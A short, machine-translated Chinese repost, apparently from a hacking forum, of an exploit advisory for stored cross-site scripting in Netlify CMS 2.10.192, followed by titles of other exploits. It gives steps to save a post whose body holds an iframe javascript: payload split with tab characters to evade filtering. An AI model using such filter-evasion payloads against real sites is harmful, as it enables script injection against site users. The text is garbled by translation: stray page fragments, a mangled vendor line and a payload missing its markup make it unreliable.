Netlify CMS 2.10.192-存储的跨站点脚本（XSS）

[HackApt-37 Team已验证会员]

＃利用标题: NetLify CMS 2.10.192-存储的跨站点脚本（XSS）
＃利用作者: TMRSWRR
＃供应商homepage3360 https://decapcms.org/docs/intro/
＃软件link: https://github.com/decaporg/decap-cms
＃版本: 2.10.192
＃测试在: https://cms-demo.netlify.com
Description:
1。转到新帖子并写下身体领域，您的PAYLOAD:

正在加载...

cms-demo.netlify.com

有效载荷=iframe src=javatab; sctab; ript:altab; ert（）/iframe
2。保存之后XSS有效载荷将执行并查看警报框

 

H

Minitool Partition Wizard Shadowmaker v.12.7-未引用的服务路径'mtagentservice'

H

Windows 10 V21H1 -HTTP协议堆栈远程代码执行